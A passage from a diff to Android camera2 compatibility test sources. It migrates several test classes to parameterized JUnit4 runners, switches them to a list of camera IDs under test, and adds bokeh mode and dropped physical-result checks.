                 if (!mAllStaticInfo.get(id).isNoiseReductionModeControlSupported()) {
                     Log.i(TAG, "Camera " + id +
@@ -711,7 +716,7 @@
      */
     @Test
     public void testNoiseReductionModeControlFastFps() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isNoiseReductionModeControlSupported()) {
                     Log.i(TAG, "Camera " + id +
@@ -735,7 +740,7 @@
      */
     @Test
     public void testAwbModeAndLock() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -754,7 +759,7 @@
      */
     @Test
     public void testAfModes() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -773,7 +778,7 @@
      */
     @Test
     public void testCameraStabilizations() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 StaticMetadata staticInfo = mAllStaticInfo.get(id);
                 List<Key<?>> keys = staticInfo.getCharacteristics().getKeys();
@@ -802,7 +807,7 @@
      */
     @Test
     public void testDigitalZoom() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -823,7 +828,7 @@
      */
     @Test
     public void testDigitalZoomPreviewCombinations() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -842,7 +847,7 @@
      */
     @Test
     public void testSceneModes() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (mAllStaticInfo.get(id).isSceneModeSupported()) {
                     openDevice(id);
@@ -859,7 +864,7 @@
      */
     @Test
     public void testEffectModes() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -873,6 +878,26 @@
         }
     }
 
+    /**
+     * Test bokeh mode controls.
+     */
+    @Test
+    public void testBokehModes() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            try {
+                if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+                    continue;
+                }
+                openDevice(id);
+                List<Range<Integer>> fpsRanges = getTargetFpsRangesUpTo30(mStaticInfo);
+                bokehModeTestByCamera(fpsRanges);
+            } finally {
+                closeDevice();
+            }
+        }
+    }
+
     // TODO: add 3A state machine test.
 
     /**
@@ -1450,7 +1475,6 @@
      * CaptureRequest.CONTROL_AE_MODE_ON or CaptureRequest.CONTROL_AE_MODE_OFF
      *
      * @param listener The Capture listener that is used to wait for capture result
-     * @param isLegacy Boolean specifying if the camera device being tested is a legacy device
      * @param initialAeControl The initial AE_CONTROL mode to start repeating requests with.
      * @param flashOffAeControl The final AE_CONTROL mode which is expected to turn flash off for
      *        TEMPLATE_PREVIEW repeating requests.
@@ -2773,6 +2797,36 @@
         }
     }
 
+    private void bokehModeTestByCamera(List<Range<Integer>> fpsRanges) throws Exception {
+        CapabilityAndMaxSize[] bokehCaps = mStaticInfo.getAvailableBokehCapsChecked();
+        if (bokehCaps.length == 0) {
+            return;
+        }
+
+        Size maxPreviewSize = mOrderedPreviewSizes.get(0);
+        CaptureRequest.Builder requestBuilder =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+
+        for (CapabilityAndMaxSize bokehCap : bokehCaps) {
+            int mode = bokehCap.getMode();
+            requestBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE, mode);
+
+            // Test that OFF and CONTINUOUS mode doesn't slow down the frame rate
+            if (mode == CaptureRequest.CONTROL_BOKEH_MODE_OFF ||
+                    mode == CaptureRequest.CONTROL_BOKEH_MODE_CONTINUOUS) {
+                verifyFpsNotSlowDown(requestBuilder, NUM_FRAMES_VERIFIED, fpsRanges);
+            }
+
+            SimpleCaptureCallback listener = new SimpleCaptureCallback();
+            startPreview(requestBuilder, maxPreviewSize, listener);
+            mSession.setRepeatingRequest(requestBuilder.build(), listener, mHandler);
+            waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
+
+            verifyCaptureResultForKey(CaptureResult.CONTROL_BOKEH_MODE,
+                    mode, listener, NUM_FRAMES_VERIFIED);
+        }
+    }
+
     //----------------------------------------------------------------
     //---------Below are common functions for all tests.--------------
     //----------------------------------------------------------------
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index ab65015..247308e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -21,6 +21,7 @@
 import android.hardware.camera2.CameraCaptureSession;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CaptureFailure;
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
 import android.hardware.camera2.params.BlackLevelPattern;
@@ -37,6 +38,7 @@
 
 import static android.hardware.camera2.cts.CameraTestUtils.*;
 import static android.hardware.camera2.cts.helpers.CameraSessionUtils.*;
+import static junit.framework.Assert.*;
 
 import android.util.Log;
 import android.view.Surface;
@@ -51,6 +53,11 @@
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(Parameterized.class)
 public class CaptureResultTest extends Camera2AndroidTestCase {
     private static final String TAG = "CaptureResultTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -58,29 +65,15 @@
     private static final int NUM_FRAMES_VERIFIED = 30;
     private static final long WAIT_FOR_RESULT_TIMEOUT_MS = 3000;
 
-
     // List tracking the failed test keys.
 
     @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-
-        /**
-         * Workaround for mockito and JB-MR2 incompatibility
-         *
-         * Avoid java.lang.IllegalArgumentException: dexcache == null
-         * https://code.google.com/p/dexmaker/issues/detail?id=2
-         */
-        System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
-    }
-
-    @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         super.tearDown();
     }
 
@@ -95,8 +88,9 @@
      * a capture result.
      * </p>
      */
+    @Test
     public void testCameraCaptureResultAllKeys() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 openDevice(id);
                 if (mStaticInfo.isColorOutputSupported()) {
@@ -149,10 +143,11 @@
      * onCaptureProgressed callbacks.
      * </ul></p>
      */
+    @Test
     public void testPartialResult() throws Exception {
         final int NUM_FRAMES_TESTED = 30;
         final int WAIT_FOR_RESULT_TIMOUT_MS = 2000;
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 // Skip the test if partial result is not supported
                 int partialResultCount = mAllStaticInfo.get(id).getPartialResultCount();
@@ -264,8 +259,9 @@
      * Check that the timestamps passed in the results, buffers, and capture callbacks match for
      * a single request, and increase monotonically
      */
+    @Test
     public void testResultTimestamps() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             ImageReader previewReader = null;
             ImageReader jpegReader = null;
 
@@ -401,16 +397,22 @@
         }
 
         TotalCaptureResult result = null;
+        // List of (frameNumber, physical camera Id) pairs
+        ArrayList<Pair<Long, String>> droppedPhysicalResults = new ArrayList<>();
         for (int i = 0; i < numFramesVerified; i++) {
             result = captureListener.getTotalCaptureResult(WAIT_FOR_RESULT_TIMEOUT_MS);
+
             Map<String, CaptureResult> physicalCaptureResults = result.getPhysicalCameraResults();
-            errorCollector.expectEquals("Number of physical result metadata doesn't match " +
-                    physicalCaptureResults.size() + " vs " + requestedPhysicalIds.size(),
-                    physicalCaptureResults.size(), requestedPhysicalIds.size());
+            ArrayList<String> droppedIds = new ArrayList<String>(requestedPhysicalIds);
+            droppedIds.removeAll(physicalCaptureResults.keySet());
+            for (String droppedId : droppedIds) {
+                droppedPhysicalResults.add(
+                        new Pair<Long, String>(result.getFrameNumber(), droppedId));
+            }
 
             validateOneCaptureResult(errorCollector, staticInfo, waiverKeys, allKeys,
                     requestBuilder, result, null/*cameraId*/, i);
-            for (String physicalId : requestedPhysicalIds) {
+            for (String physicalId : physicalCaptureResults.keySet()) {
                 StaticMetadata physicalStaticInfo = allStaticInfo.get(physicalId);
                 validateOneCaptureResult(errorCollector, physicalStaticInfo,
                         physicalWaiverKeys.get(physicalId),
@@ -418,6 +420,23 @@
                         physicalId, i);
             }
         }
+
+        // Verify that all dropped physical camera results are notified via capture failure.
+        while (captureListener.hasMoreFailures()) {
+            ArrayList<CaptureFailure> failures =
+                    captureListener.getCaptureFailures(/*maxNumFailures*/ 1);
+            for (CaptureFailure failure : failures) {
+                String failedPhysicalId = failure.getPhysicalCameraId();
+                Long failedFrameNumber = failure.getFrameNumber();
+                if (failedPhysicalId != null) {
+                    droppedPhysicalResults.removeIf(
+                            n -> n.equals(
+                            new Pair<Long, String>(failedFrameNumber, failedPhysicalId)));
+                }
+            }
+        }
+        errorCollector.expectTrue("Not all dropped results for physical cameras are notified",
+                droppedPhysicalResults.isEmpty());
     }
 
     private static void validateOneCaptureResult(CameraErrorCollector errorCollector,
@@ -673,6 +692,10 @@
             waiverKeys.add(CaptureResult.STATISTICS_OIS_SAMPLES);
         }
 
+        if (staticInfo.getAvailableBokehCapsChecked().length == 0) {
+            waiverKeys.add(CaptureResult.CONTROL_BOKEH_MODE);
+        }
+
         if (staticInfo.isHardwareLevelAtLeastFull()) {
             return waiverKeys;
         }
@@ -922,6 +945,7 @@
         resultKeys.add(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST);
         resultKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
         resultKeys.add(CaptureResult.CONTROL_AF_SCENE_CHANGE);
+        resultKeys.add(CaptureResult.CONTROL_BOKEH_MODE);
         resultKeys.add(CaptureResult.EDGE_MODE);
         resultKeys.add(CaptureResult.FLASH_MODE);
         resultKeys.add(CaptureResult.FLASH_STATE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java b/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
index 4af437c..b0c806f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
@@ -60,11 +60,18 @@
 import java.util.TimeZone;
 import java.text.SimpleDateFormat;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
+import static junit.framework.Assert.*;
 
 /**
  * Tests for the DngCreator API.
  */
+
+@RunWith(Parameterized.class)
 public class DngCreatorTest extends Camera2AndroidTestCase {
     private static final String TAG = "DngCreatorTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -99,24 +106,17 @@
     }
 
     @Override
-    protected void setUp() throws Exception {
-        RenderScriptSingleton.setContext(getContext());
-
+    public void setUp() throws Exception {
         super.setUp();
+        RenderScriptSingleton.setContext(mContext);
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         RenderScriptSingleton.clearContext();
-
         super.tearDown();
     }
 
-    @Override
-    public synchronized void setContext(Context context) {
-        super.setContext(context);
-    }
-
     /**
      * Test basic raw capture and DNG saving functionality for each of the available cameras.
      *
@@ -131,16 +131,17 @@
      * raw image captured for the first reported camera device to be saved to an output file.
      * </p>
      */
+    @Test
     public void testSingleImageBasic() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
-            String deviceId = mCameraIds[i];
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            String deviceId = mCameraIdsUnderTest[i];
             ImageReader captureReader = null;
             FileOutputStream fileStream = null;
             ByteArrayOutputStream outputStream = null;
             try {
                 if (!mAllStaticInfo.get(deviceId).isCapabilitySupported(
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
                             ". Skip the test.");
                     continue;
                 }
@@ -205,9 +206,10 @@
      * raw image captured for the first reported camera device to be saved to an output file.
      * </p>
      */
+    @Test
     public void testSingleImageThumbnail() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
-            String deviceId = mCameraIds[i];
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            String deviceId = mCameraIdsUnderTest[i];
             List<ImageReader> captureReaders = new ArrayList<ImageReader>();
             List<CameraTestUtils.SimpleImageReaderListener> captureListeners =
                     new ArrayList<CameraTestUtils.SimpleImageReaderListener>();
@@ -216,7 +218,7 @@
             try {
                 if (!mAllStaticInfo.get(deviceId).isCapabilitySupported(
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIds[i] +
+                    Log.i(TAG, "RAW capability is not supported in camera " + mCameraIdsUnderTest[i] +
                             ". Skip the test.");
                     continue;
                 }
@@ -369,8 +371,9 @@
      * adb shell setprop log.tag.DngCreatorTest VERBOSE
      * </p>
      */
+    @Test
     public void testRaw16JpegConsistency() throws Exception {
-        for (String deviceId : mCameraIds) {
+        for (String deviceId : mCameraIdsUnderTest) {
             List<ImageReader> captureReaders = new ArrayList<>();
             FileOutputStream fileStream = null;
             ByteArrayOutputStream outputStream = null;
@@ -461,8 +464,9 @@
     /**
      * Test basic DNG creation, ensure that the DNG image can be rendered by BitmapFactory.
      */
+    @Test
     public void testDngRenderingByBitmapFactor() throws Exception {
-        for (String deviceId : mCameraIds) {
+        for (String deviceId : mCameraIdsUnderTest) {
             List<ImageReader> captureReaders = new ArrayList<>();
 
             CapturedData data = captureRawJpegImagePair(deviceId, captureReaders);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index a5ea222..d761c6f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -59,14 +59,21 @@
 import java.util.regex.Pattern;
 import java.util.Set;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
 import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
 
+import static junit.framework.Assert.*;
+
 import static org.mockito.Mockito.*;
 
 /**
  * Extended tests for static camera characteristics.
  */
+@RunWith(Parameterized.class)
 public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
     private static final String TAG = "ExChrsTest"; // must be short so next line doesn't throw
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -128,7 +135,7 @@
     private static final int HIGH_SPEED_FPS_UPPER_MIN = 120;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         mCharacteristics = new ArrayList<>();
         for (int i = 0; i < mAllCameraIds.length; i++) {
@@ -137,7 +144,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         super.tearDown();
         mCharacteristics = null;
     }
@@ -146,6 +153,7 @@
      * Test that the available stream configurations contain a few required formats and sizes.
      */
     @CddTest(requirement="7.5.1/C-1-2")
+    @Test
     public void testAvailableStreamConfigs() throws Exception {
         boolean firstBackFacingCamera = true;
         for (int i = 0; i < mAllCameraIds.length; i++) {
@@ -169,7 +177,7 @@
 
             boolean isMonochromeWithY8 = arrayContains(actualCapabilities, MONOCHROME)
                     && arrayContains(outputFormats, ImageFormat.Y8);
-            boolean isHiddenPhysicalCamera = !arrayContains(mCameraIds, mAllCameraIds[i]);
+            boolean isHiddenPhysicalCamera = !arrayContains(mCameraIdsUnderTest, mAllCameraIds[i]);
             boolean supportHeic = arrayContains(outputFormats, ImageFormat.HEIC);
 
             assertArrayContains(
@@ -769,6 +777,7 @@
 
     }
 
+    @Test
     public void testRecommendedStreamConfigurations() throws Exception {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
@@ -868,6 +877,7 @@
     /**
      * Test {@link CameraCharacteristics#getKeys}
      */
+    @Test
     public void testKeys() {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
@@ -1036,6 +1046,7 @@
     /**
      * Test values for static metadata used by the RAW capability.
      */
+    @Test
     public void testStaticRawCharacteristics() {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
@@ -1142,6 +1153,7 @@
     /**
      * Test values for the available session keys.
      */
+    @Test
     public void testStaticSessionKeys() throws Exception {
         for (CameraCharacteristics c : mCharacteristics) {
             List<CaptureRequest.Key<?>> availableSessionKeys = c.getAvailableSessionKeys();
@@ -1161,6 +1173,7 @@
     /**
      * Test values for static metadata used by the BURST capability.
      */
+    @Test
     public void testStaticBurstCharacteristics() throws Exception {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
@@ -1325,6 +1338,7 @@
     /**
      * Check reprocessing capabilities.
      */
+    @Test
     public void testReprocessingCharacteristics() {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             Log.i(TAG, "testReprocessingCharacteristics: Testing camera ID " + mAllCameraIds[i]);
@@ -1453,6 +1467,7 @@
     /**
      * Check depth output capability
      */
+    @Test
     public void testDepthOutputCharacteristics() {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             Log.i(TAG, "testDepthOutputCharacteristics: Testing camera ID " + mAllCameraIds[i]);
@@ -1728,6 +1743,7 @@
     /**
      * Cross-check StreamConfigurationMap output
      */
+    @Test
     public void testStreamConfigurationMap() throws Exception {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             Log.i(TAG, "testStreamConfigurationMap: Testing camera ID " + mAllCameraIds[i]);
@@ -1933,6 +1949,7 @@
      * Test high speed capability and cross-check the high speed sizes and fps ranges from
      * the StreamConfigurationMap.
      */
+    @Test
     public void testConstrainedHighSpeedCapability() throws Exception {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
@@ -2013,6 +2030,7 @@
     /**
      * Sanity check of optical black regions.
      */
+    @Test
     public void testOpticalBlackRegions() {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
@@ -2089,6 +2107,7 @@
     /**
      * Check Logical camera capability
      */
+    @Test
     public void testLogicalCameraCharacteristics() throws Exception {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
@@ -2163,6 +2182,7 @@
     /**
      * Check monochrome camera capability
      */
+    @Test
     public void testMonochromeCharacteristics() {
         for (int i = 0; i < mAllCameraIds.length; i++) {
             Log.i(TAG, "testMonochromeCharacteristics: Testing camera ID " + mAllCameraIds[i]);
@@ -2297,7 +2317,13 @@
      * accessible via Camera2.
      */
     @CddTest(requirement="7.5.4/C-0-11")
+    @Test
     public void testLegacyCameraDeviceParity() {
+        if (mAdoptShellPerm) {
+            // There is no current way to determine in camera1 api if a device is a system camera
+            // Skip test, http://b/141496896
+            return;
+        }
         int legacyDeviceCount = Camera.getNumberOfCameras();
         assertTrue("More legacy devices: " + legacyDeviceCount + " compared to Camera2 devices: " +
                 mCharacteristics.size(), legacyDeviceCount <= mCharacteristics.size());
@@ -2339,6 +2365,7 @@
      * Check camera orientation against device orientation
      */
     @CddTest(requirement="7.5.5/C-1-1")
+    @Test
     public void testCameraOrientationAlignedWithDevice() {
         WindowManager windowManager =
                 (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java b/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java
index 0716c24..fc09e51 100644
--- a/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/FastBasicsTest.java
@@ -41,6 +41,8 @@
 import android.hardware.camera2.cts.CameraTestUtils.SimpleImageReaderListener;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /**
@@ -50,6 +52,8 @@
  * May not take more than a few seconds to run, to be suitable for quick
  * testing.
  */
+
+@RunWith(Parameterized.class)
 public class FastBasicsTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "FastBasicsTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -62,17 +66,17 @@
     @Presubmit
     @Test
     public void testCamera2() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing camera2 API for camera device " + mCameraIds[i]);
+                Log.i(TAG, "Testing camera2 API for camera device " + mCameraIdsUnderTest[i]);
 
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 camera2TestByCamera();
             } finally {
                 closeDevice();
diff --git a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
index 1aa6a17..fb1bd6c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
@@ -31,10 +31,17 @@
 import java.util.concurrent.TimeUnit;
 
 import static org.mockito.Mockito.*;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static junit.framework.Assert.*;
 
 /**
  * <p>Tests for flashlight API.</p>
  */
+
+@RunWith(Parameterized.class)
 public class FlashlightTest extends Camera2AndroidTestCase {
     private static final String TAG = "FlashlightTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -45,13 +52,13 @@
     private ArrayList<String> mFlashCameraIdList;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         // initialize the list of cameras that have a flash unit so it won't interfere with
         // flash tests.
         mFlashCameraIdList = new ArrayList<String>();
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             StaticMetadata info =
                     new StaticMetadata(mCameraManager.getCameraCharacteristics(id),
                                        CheckLevel.ASSERT, /*collector*/ null);
@@ -61,6 +68,7 @@
         }
     }
 
+    @Test
     public void testSetTorchModeOnOff() throws Exception {
         if (mFlashCameraIdList.size() == 0)
             return;
@@ -124,6 +132,7 @@
         }
     }
 
+    @Test
     public void testTorchCallback() throws Exception {
         testTorchCallback(/*useExecutor*/ false);
         testTorchCallback(/*useExecutor*/ true);
@@ -169,12 +178,13 @@
         }
     }
 
+    @Test
     public void testCameraDeviceOpenAfterTorchOn() throws Exception {
         if (mFlashCameraIdList.size() == 0)
             return;
 
         for (String id : mFlashCameraIdList) {
-            for (String idToOpen : mCameraIds) {
+            for (String idToOpen : mCameraIdsUnderTest) {
                 resetTorchModeStatus(id);
 
                 CameraManager.TorchCallback torchListener =
@@ -225,15 +235,16 @@
         }
     }
 
+    @Test
     public void testTorchModeExceptions() throws Exception {
         // cameraIdsToTestTorch = all available camera ID + non-existing camera id +
         //                        non-existing numeric camera id + null
-        String[] cameraIdsToTestTorch = new String[mCameraIds.length + 3];
-        System.arraycopy(mCameraIds, 0, cameraIdsToTestTorch, 0, mCameraIds.length);
-        cameraIdsToTestTorch[mCameraIds.length] = generateNonexistingCameraId();
-        cameraIdsToTestTorch[mCameraIds.length + 1] = generateNonexistingNumericCameraId();
+        String[] cameraIdsToTestTorch = new String[mCameraIdsUnderTest.length + 3];
+        System.arraycopy(mCameraIdsUnderTest, 0, cameraIdsToTestTorch, 0, mCameraIdsUnderTest.length);
+        cameraIdsToTestTorch[mCameraIdsUnderTest.length] = generateNonexistingCameraId();
+        cameraIdsToTestTorch[mCameraIdsUnderTest.length + 1] = generateNonexistingNumericCameraId();
 
-        for (String idToOpen : mCameraIds) {
+        for (String idToOpen : mCameraIdsUnderTest) {
             openDevice(idToOpen);
             try {
                 for (String id : cameraIdsToTestTorch) {
@@ -288,8 +299,8 @@
 
     private String generateNonexistingCameraId() {
         String nonExisting = "none_existing_camera";
-        for (String id : mCameraIds) {
-            if (Arrays.asList(mCameraIds).contains(nonExisting)) {
+        for (String id : mCameraIdsUnderTest) {
+            if (Arrays.asList(mCameraIdsUnderTest).contains(nonExisting)) {
                 nonExisting += id;
             } else {
                 break;
@@ -299,11 +310,15 @@
     }
 
     // return a non-existing and non-negative numeric camera id.
-    private String generateNonexistingNumericCameraId() {
-        int[] numericCameraIds = new int[mCameraIds.length];
+    private String generateNonexistingNumericCameraId() throws Exception {
+        // We don't rely on mCameraIdsUnderTest to generate a non existing camera id since
+        // mCameraIdsUnderTest doesn't give us an accurate reflection of which camera ids actually
+        // exist. It just tells us the ones we're testing right now.
+        String[] allCameraIds = mCameraManager.getCameraIdListNoLazy();
+        int[] numericCameraIds = new int[allCameraIds.length];
         int size = 0;
 
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : allCameraIds) {
             try {
                 int value = Integer.parseInt(cameraId);
                 if (value >= 0) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/HeifWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/HeifWriterTest.java
index 0cb5c1b..f729cc7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/HeifWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/HeifWriterTest.java
@@ -55,6 +55,11 @@
 import java.util.Arrays;
 import java.util.List;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(Parameterized.class)
 public class HeifWriterTest extends Camera2AndroidTestCase {
     private static final String TAG = HeifWriterTest.class.getSimpleName();
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -79,6 +84,7 @@
         super.tearDown();
     }
 
+    @Test
     public void testHeif() throws Exception {
         final int NUM_SINGLE_CAPTURE_TESTED = 3;
         final int NUM_HEIC_CAPTURE_TESTED = 2;
@@ -93,7 +99,7 @@
         boolean sessionFailure = false;
         Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
                 BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing HEIF capture for Camera " + id);
                 openDevice(id);
diff --git a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
index 34d0947..9caf365 100644
--- a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
@@ -26,9 +26,12 @@
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
 
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
+import android.hardware.camera2.cts.CameraTestUtils;
 import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraManager;
+
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Process;
@@ -40,6 +43,8 @@
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.ArgumentCaptor;
@@ -52,8 +57,9 @@
  * get an error callback losing the camera handle. Similarly if the UID is
  * already idle it cannot obtain a camera handle.
  */
-@RunWith(AndroidJUnit4.class)
-public final class IdleUidTest {
+
+@RunWith(Parameterized.class)
+public final class IdleUidTest extends Camera2ParameterizedTestCase {
     private static final long CAMERA_OPERATION_TIMEOUT_MILLIS = 5000; // 5 sec
 
     private static final HandlerThread sCallbackThread = new HandlerThread("Callback thread");
@@ -73,10 +79,8 @@
      */
     @Test
     public void testCameraAccessForIdleUid() throws Exception {
-        final CameraManager cameraManager = InstrumentationRegistry.getTargetContext()
-                .getSystemService(CameraManager.class);
-        for (String cameraId : cameraManager.getCameraIdList()) {
-            testCameraAccessForIdleUidByCamera(cameraManager, cameraId,
